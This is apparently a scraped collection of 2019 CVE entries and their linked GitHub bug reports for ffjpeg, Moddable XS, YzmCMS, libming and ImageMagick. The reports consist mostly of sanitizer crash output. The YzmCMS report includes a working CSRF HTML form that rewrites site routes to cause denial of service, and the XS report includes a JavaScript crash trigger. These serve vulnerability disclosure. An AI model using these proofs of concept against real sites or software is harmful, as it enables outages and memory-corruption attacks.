https://github.com/Marsman1996/pocs/blob/master/ffjpeg/poc22-jfif_load-heapoverflow
## Details
### Asan report
```
=================================================================
==17308== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60340000fef8 at pc 0x402fec bp 0x7ffc051db980 sp 0x7ffc051db978
WRITE of size 4 at 0x60340000fef8 thread T0
#0 0x402feb in jfif_load /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/jfif.c:187
#1 0x401a59 in main /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/ffjpeg.c:24
#2 0x7f5291e9bf44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44)
#3 0x401858 in _start (/home/aota10/MARS_fuzzcompare/test/ffjpeg/bin_asan/bin/ffjpeg+0x401858)
0x60340000fef8 is located 0 bytes to the right of 504-byte region [0x60340000fd00,0x60340000fef8)
allocated by thread T0 here:
#0 0x7f52922584e5 (/usr/lib/x86_64-linux-gnu/libasan.so.0+0x154e5)
#1 0x40293b in jfif_load /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/jfif.c:154
#2 0x401a59 in main /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/ffjpeg.c:24
#3 0x7f5291e9bf44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/jfif.c:187 jfif_load
Shadow bytes around the buggy address:
0x0c06ffff9f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06ffff9f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06ffff9fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c06ffff9fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c06ffff9fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c06ffff9fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]
0x0c06ffff9fe0:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06ffff9ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06ffffa000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06ffffa010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06ffffa020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap righ redzone: fb
Freed Heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==17308== ABORTING
```
### GDB report
```
Starting program: /home/aota10/MARS_fuzzcompare/test/ffjpeg/build_normal/ffjpeg -d poc22-jfif_load-heapoverflow
file eof !
*** Error in `/home/aota10/MARS_fuzzcompare/test/ffjpeg/build_normal/ffjpeg': munmap_chunk(): invalid pointer: 0x000000000060a210 ***
Program received signal SIGABRT, Aborted.
0x00007ffff7a47c37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0 0x00007ffff7a47c37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#1 0x00007ffff7a4b028 in __GI_abort () at abort.c:89
#2 0x00007ffff7a842a4 in __libc_message (do_abort=do_abort@entry=1,
fmt=fmt@entry=0x7ffff7b96350 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3 0x00007ffff7a8f007 in malloc_printerr (action=<optimized out>,
str=0x7ffff7b966d0 "munmap_chunk(): invalid pointer", ptr=<optimized out>) at malloc.c:4998
#4 0x0000000000402416 in jfif_load (file=0x7fffffffe58c "poc22-jfif_load-heapoverflow")
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/jfif.c:257
#5 0x000000000040165b in main (argc=3, argv=0x7fffffffe298)
at /home/aota10/MARS_fuzzcompare/test/ffjpeg/code/ffjpeg.c:24
(gdb)
``` | AddressSanitizer: heap-buffer-overflow in jfif_load() at jfif.c:187 | https://api.github.com/repos/rockcarry/ffjpeg/issues/12/comments | 10 | 2019-08-18T08:07:01Z | 2019-08-21T09:02:45Z | https://github.com/rockcarry/ffjpeg/issues/12 | 481,966,458 | 12 |
CVE-2019-16366 | 2019-09-16T17:15:14.293 | In XS 9.0.0 in Moddable SDK OS180329, there is a heap-based buffer overflow in fxBeginHost in xsAPI.c when called from fxRunDefine in xsRun.c, as demonstrated by crafted JavaScript code to xst. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/Moddable-OpenSource/moddable/issues/235"
}
] | [
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Moddable-OpenSource",
"moddable"
] | Hello,
We find a heap-buffer-overflow vulnerability in XS 9.0.0, which is reported by Address Sanitizer. We compile and run the xs in linux 64.
The simplified js code:
```
function opt(arg1, arg2, arg3, arg4, arg5) {
var sb = [arg2];
var test_bitor = function() {
return 0;
};
var arr = [];
}
obj = {};
count = 0;
(function TestFunc() {
var a;
for (let i = 0; i < 1; i++) {
opt(1.1, {}, {}, 2, {});
}
(function outer() {
count++;
if (count > 390)
return;
(function inner() {
opt(-5, obj, obj, 10, obj);
a;
})();
with(obj) {
outer();
}
})();
})();
let identifier_array = {};
for (let key in identifier_array) {
let val = identifier_array[key];
}
```
Output of executing './xst -s crash.js'
```
=================================================================
==53071==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f5e0fee77e0 at pc 0x000000425b7e bp 0x7ffd6ce1c3c0 sp 0x7ffd6ce1c3b0
WRITE of size 8 at 0x7f5e0fee77e0 thread T0
#0 0x425b7d in fxBeginHost /home/sll/moddable-public/xs/sources/xsAPI.c:1745
#1 0x5ff493 in fxRunDefine /home/sll/moddable-public/xs/sources/xsRun.c:3826
#2 0x5dc6e4 in fxRunID /home/sll/moddable-public/xs/sources/xsRun.c:2120
#3 0x606d8f in fxRunScript /home/sll/moddable-public/xs/sources/xsRun.c:4321
#4 0x6f9cc5 in fxRunProgramFile /home/sll/moddable-public/xs/tools/xst.c:1320
#5 0x6eeb20 in main /home/sll/moddable-public/xs/tools/xst.c:264
#6 0x7f5e0e4f782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#7 0x4138d8 in _start (/home/sll/moddable-public/build/bin/lin/debug/xst+0x4138d8)
0x7f5e0fee77e0 is located 32 bytes to the left of 131072-byte region [0x7f5e0fee7800,0x7f5e0ff07800)
allocated by thread T0 here:
#0 0x7f5e0ee5f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x570023 in fxAllocateSlots /home/sll/moddable-public/xs/sources/xsPlatforms.c:138
#2 0x53bb24 in fxAllocate /home/sll/moddable-public/xs/sources/xsMemory.c:160
#3 0x420c8e in fxCreateMachine /home/sll/moddable-public/xs/sources/xsAPI.c:1309
#4 0x6edd2b in main /home/sll/moddable-public/xs/tools/xst.c:235
#5 0x7f5e0e4f782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/sll/moddable-public/xs/sources/xsAPI.c:1745 fxBeginHost
Shadow bytes around the buggy address:
0x0fec41fd4ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fec41fd4eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fec41fd4ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fec41fd4ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fec41fd4ee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0fec41fd4ef0: fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa
0x0fec41fd4f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fec41fd4f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fec41fd4f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fec41fd4f30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fec41fd4f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==53071==ABORTING
```
According to the report, fxBeginHost() access memory which should not be allowed. You can get the report too, if you compile XS with -fsanitize option, then just run the xst with the js.
Modify xs/makefiles/lin/xst.mk, add " -fsanitize=address" into C_OPTIONS (line 61) and LINK_OPTIONS (line 68), then make it, you will get the xst in /lin/debug which has been instrumented with AddressSanitizer.
Built-in Security Lab
2019.7.25
| XS: Heap-Buffer-Overflow | https://api.github.com/repos/Moddable-OpenSource/moddable/issues/235/comments | 10 | 2019-07-25T07:08:13Z | 2019-09-24T16:45:53Z | https://github.com/Moddable-OpenSource/moddable/issues/235 | 472,701,074 | 235 |
CVE-2019-16678 | 2019-09-21T20:15:10.603 | admin/urlrule/add.html in YzmCMS 5.3 allows CSRF with a resultant denial of service by adding a superseding route. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/yzmcms/yzmcms/issues/27"
}
] | [
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"yzmcms",
"yzmcms"
] | Hello, I found a vulnerability in your application. I call it a denial of service attack caused by CSRF. The point of vulnerability is the URL rule configuration. When I use CSRF to configure an illegal rule for administrators, the access routing of the whole station will be changed. That is to say, it is totally inaccessible and the site is in 404 status. (Its priority is higher than the original admin/et al route).
Attacks are shown as follows:
No token check is used at the setup route.
the poc is:
<html>
<body>
<form action="http://www.laker.com/yzmcms/admin/urlrule/add.html" method="POST">
<input type="hidden" name="name" value="a" />
<input type="hidden" name="urlrule" value="(\w+)" />
<input type="hidden" name="route" value="hack_by_laker" />
<input type="hidden" name="dosubmit" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
When the POC is executed, all routes of the site http://host/aaaaaa are directed to http://host/hack_by_laker
And we can define multiple routes in a link, so that all routes are customized and the whole station will crash so that it cannot be accessed.
---
In Chinese：
您好，我在您的应用程序上发现了一个漏洞，我称它为CSRF造成的拒绝服务攻击。漏洞的产生点在URL规则配置，当我利用CSRF让管理员配置一个不合法的规则，整个站的访问路由都将被改变。也就是完全无法访问，站点全部呈现404状态。（其优先级高于原本的admin/等路由）。
攻击展示如下：
the poc is:
<html>
<body>
<form action="http://www.laker.com/yzmcms/admin/urlrule/add.html" method="POST">
<input type="hidden" name="name" value="a" />
<input type="hidden" name="urlrule" value="(\w+)" />
<input type="hidden" name="route" value="hack_by_laker" />
<input type="hidden" name="dosubmit" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
在设置路由处未使用token校验，
并且我们可以在一个链接中定义多个路由，这样，所有的路由全部被自定义，整站将崩溃以致于无法访问：
| Denial of service attack caused by CSRF(CSRF造成的拒绝服务攻击) | https://api.github.com/repos/yzmcms/yzmcms/issues/27/comments | 6 | 2019-09-20T08:57:08Z | 2020-01-10T14:36:11Z | https://github.com/yzmcms/yzmcms/issues/27 | 496,231,791 | 27 |
CVE-2019-16705 | 2019-09-23T05:15:10.260 | Ming (aka libming) 0.4.8 has an out of bounds read vulnerability in the function OpCode() in the decompile.c file in libutil.a. | {
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] | https://github.com/libming/libming/issues/178 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"libming",
"libming"
] | # Description
An out of bound read was found in function OpCode(file util/decompile.c 957).
# Details:
```
==30829==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61400000f5d0 at pc 0x000000413ddb bp 0x7ffeb39e6460 sp 0x7ffeb39e6450
READ of size 1 at 0x61400000f5d0 thread T0
#0 0x413dda in OpCode /src/libming-afl/util/decompile.c:957
#1 0x415ab5 in decompileGETTIME /src/libming-afl/util/decompile.c:1506
#2 0x41ecc9 in decompileAction /src/libming-afl/util/decompile.c:3264
#3 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494
#4 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169
#5 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462
#6 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494
#7 0x419908 in decompileIF /src/libming-afl/util/decompile.c:2364
#8 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335
#9 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494
#10 0x41b85b in decompileIF /src/libming-afl/util/decompile.c:2656
#11 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335
#12 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494
#13 0x41b85b in decompileIF /src/libming-afl/util/decompile.c:2656
#14 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335
#15 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494
#16 0x41b85b in decompileIF /src/libming-afl/util/decompile.c:2656
#17 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335
#18 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494
#19 0x41b85b in decompileIF /src/libming-afl/util/decompile.c:2656
#20 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335
#21 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494
#22 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517
#23 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551
#24 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083
#25 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281
#26 0x40f8fc in main /src/libming-afl/util/main.c:354
#27 0x7f51e85bd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#28 0x401998 in _start (/src/fuzz/swftocxx+0x401998)
0x61400000f5d0 is located 0 bytes to the right of 400-byte region [0x61400000f440,0x61400000f5d0)
allocated by thread T0 here:
#0 0x7f51e8f2279a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
#1 0x42854e in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1062
#2 0x4289b2 in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1075
#3 0x4289b2 in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1075
#4 0x4289b2 in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1075
#5 0x4289b2 in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1075
#6 0x437ca5 in parseSWF_DOACTION /src/libming-afl/util/parser.c:2434
#7 0x40fb59 in blockParse /src/libming-afl/util/blocktypes.c:145
#8 0x40f116 in readMovie /src/libming-afl/util/main.c:269
#9 0x40f8fc in main /src/libming-afl/util/main.c:354
#10 0x7f51e85bd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/libming-afl/util/decompile.c:957 OpCode
Shadow bytes around the buggy address:
0x0c287fff9e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c287fff9e70: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
0x0c287fff9e80: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c287fff9e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c287fff9ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c287fff9eb0: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa
0x0c287fff9ec0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c287fff9ed0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c287fff9ee0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c287fff9ef0: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
0x0c287fff9f00: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==30829==ABORTING
```
# poc file
https://github.com/JsHuang/pocs/blob/master/libming/swftocxx/oob_read_decompile_957
# Credit
ADLab of Venustech | Heap Buffer Overflow (OOB Read) in function OpCode decompile.c 957 | https://api.github.com/repos/libming/libming/issues/178/comments | 0 | 2019-02-28T08:05:46Z | 2019-08-29T09:18:26Z | https://github.com/libming/libming/issues/178 | 415,495,144 | 178 |
CVE-2019-16708 | 2019-09-23T12:15:10.423 | ImageMagick 7.0.8-35 has a memory leak in magick/xwindow.c, related to XCreateImage. | {
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] | https://github.com/ImageMagick/ImageMagick/issues/1531 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
```
=================================================================
==15742==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 136 byte(s) in 1 object(s) allocated from:
#0 0x7fadbfd0c79a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
#1 0x7fadbcb0e220 in XCreateImage (/usr/lib/x86_64-linux-gnu/libX11.so.6+0x27220)
Indirect leak of 48000 byte(s) in 1 object(s) allocated from:
#0 0x7fadbfd0c602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x508cf3 in XMakeImage MagickCore/xwindow.c:5733
#2 0x82940c in XConfigureImage MagickCore/display.c:4449
#3 0x85e6bd in XDisplayImage MagickCore/display.c:15069
#4 0x81b445 in DisplayImages MagickCore/display.c:1705
#5 0x77475f in WriteXImage coders/x.c:202
#6 0x808fb6 in WriteImage MagickCore/constitute.c:1226
#7 0x8097ea in WriteImages MagickCore/constitute.c:1376
#8 0xbb0499 in ConvertImageCommand MagickWand/convert.c:3305
#9 0xc9c5ea in MagickCommandGenesis MagickWand/mogrify.c:184
#10 0x40e941 in MagickMain utilities/magick.c:149
#11 0x40eb22 in main utilities/magick.c:180
#12 0x7fadbbffc82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: 48136 byte(s) leaked in 2 allocation(s).
```
### Steps to Reproduce
```
$ touch output.x
$/usr/local/bin/magick convert Memory-Leak-2 output.x
```
then close the windows of ImageMagick.
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version: 7.0.8-35
- Environment (Operating system, version and so on): Linux ubuntu 4.15.0-42-generic #45~16.04.1-Ubuntu SMP Mon Nov 19 13:02:27 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
- Additional information:
<!-- Thanks for reporting the issue to ImageMagick! -->
[memory_leaks_2.zip](https://github.com/ImageMagick/ImageMagick/files/3012281/memory_leaks_2.zip)
credit：
ADlab of venustech
| memory leaks in XCreateImage | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1531/comments | 3 | 2019-03-27T08:51:13Z | 2019-10-29T09:31:09Z | https://github.com/ImageMagick/ImageMagick/issues/1531 | 425,832,104 | 1,531 |
CVE-2019-16710 | 2019-09-23T12:15:10.580 | ImageMagick 7.0.8-35 has a memory leak in coders/dot.c, as demonstrated by AcquireMagickMemory in MagickCore/memory.c. | {
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"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
memory leaks in AcquireMagickMemory
```
=================================================================
==54549==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 13504 byte(s) in 1 object(s) allocated from:
#0 0x7f1d5e55d602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x43f173 in AcquireMagickMemory MagickCore/memory.c:478
#2 0x412e4f in AcquireCriticalMemory MagickCore/memory-private.h:64
#3 0x4131c2 in AcquireImage MagickCore/image.c:171
#4 0x58026c in ReadDOTImage coders/dot.c:129
#5 0x805aeb in ReadImage MagickCore/constitute.c:547
#6 0x807c95 in ReadImages MagickCore/constitute.c:917
#7 0xad7412 in CompositeImageCommand MagickWand/composite.c:534
#8 0xc9c5ea in MagickCommandGenesis MagickWand/mogrify.c:184
#9 0x40e941 in MagickMain utilities/magick.c:149
#10 0x40eb22 in main utilities/magick.c:180
#11 0x7f1d5a84d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```
### Steps to Reproduce
./magick composite input1 input2 output.aai
### System Configuration
1、Linux ubuntu 4.15.0-42-generic #45~16.04.1-Ubuntu SMP Mon Nov 19 13:02:27 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2、./configure CC="gcc" CXX="g++" CFLAGS="-g -fsanitize=address"
- ImageMagick version:7.0.8-35
<!-- Thanks for reporting the issue to ImageMagick! -->
[memory_leaks.zip](https://github.com/ImageMagick/ImageMagick/files/3002595/memory_leaks.zip)
credit:
ADlab of venustech
| memory leaks | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1528/comments | 4 | 2019-03-25T09:50:16Z | 2019-10-29T09:32:23Z | https://github.com/ImageMagick/ImageMagick/issues/1528 | 424,808,689 | 1,528 |
CVE-2019-16711 | 2019-09-23T12:15:10.643 | ImageMagick 7.0.8-40 has a memory leak in Huffman2DEncodeImage in coders/ps2.c. | {
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"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
```
==85960==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 13024 byte(s) in 1 object(s) allocated from:
#0 0x7ffff6f02602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x43f1f0 in AcquireMagickMemory MagickCore/memory.c:478
#2 0x412eef in AcquireCriticalMemory MagickCore/memory-private.h:64
#3 0x4153a9 in AcquireImageInfo MagickCore/image.c:349
#4 0x418321 in CloneImageInfo MagickCore/image.c:944
#5 0x64faad in Huffman2DEncodeImage coders/ps2.c:207
#6 0x652046 in WritePS2Image coders/ps2.c:766
#7 0x809316 in WriteImage MagickCore/constitute.c:1159
#8 0x80a03b in WriteImages MagickCore/constitute.c:1376
#9 0xb1573d in CompositeImageCommand MagickWand/composite.c:1676
#10 0xc9d45d in MagickCommandGenesis MagickWand/mogrify.c:184
#11 0x40e9e1 in MagickMain utilities/magick.c:149
#12 0x40ebc2 in main utilities/magick.c:180
#13 0x7ffff31f282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: 13024 byte(s) leaked in 1 allocation(s).
```
### Steps to Reproduce
/usr/local/bin/magick composite Memory-Leak-input1 Memory-Leak-input2 output.ps2
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
'7.0.8-40'
- Environment (Operating system, version and so on):
Linux ubuntu 4.15.0-42-generic #45~16.04.1-Ubuntu SMP Mon Nov 19 13:02:27 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
- Additional information:
' ./configure CC="gcc" CXX="g++" CFLAGS="-g -fsanitize=address" -disable-shared'
<!-- Thanks for reporting the issue to ImageMagick! -->
testcase:
[ https://github.com/butterflyhack/pocs/blob/master/memory-leak-1.zip](https://github.com/butterflyhack/pocs/blob/master/memory-leak-1.zip)
credit: ADlab of venustech | memory leak in Huffman2DEncodeImage | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1542/comments | 2 | 2019-04-11T02:03:07Z | 2019-10-29T09:33:03Z | https://github.com/ImageMagick/ImageMagick/issues/1542 | 431,795,900 | 1,542 |
CVE-2019-16712 | 2019-09-23T12:15:10.707 | ImageMagick 7.0.8-43 has a memory leak in Huffman2DEncodeImage in coders/ps3.c, as demonstrated by WritePS3Image. | {
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"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
==69057==ERROR: LeakSanitizer: detected memory leaks
```
Direct leak of 13024 byte(s) in 1 object(s) allocated from:
#0 0x7f7cb84cd602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x43f2a5 in AcquireMagickMemory MagickCore/memory.c:478
#2 0x412eef in AcquireCriticalMemory MagickCore/memory-private.h:64
#3 0x4153a4 in AcquireImageInfo MagickCore/image.c:350
#4 0x41831c in CloneImageInfo MagickCore/image.c:945
#5 0x655347 in Huffman2DEncodeImage coders/ps3.c:223
#6 0x65aa9e in WritePS3Image coders/ps3.c:1343
#7 0x809a80 in WriteImage MagickCore/constitute.c:1159
#8 0x80a7a5 in WriteImages MagickCore/constitute.c:1376
#9 0xb1654b in CompositeImageCommand MagickWand/composite.c:1676
#10 0xc9fbca in MagickCommandGenesis MagickWand/mogrify.c:185
#11 0x40e9e1 in MagickMain utilities/magick.c:149
#12 0x40ebc2 in main utilities/magick.c:180
#13 0x7f7cb47bd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: 13024 byte(s) leaked in 1 allocation(s).
```
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run cmd;
```
/usr/local/bin/magick composite input1 input2 output.ps3
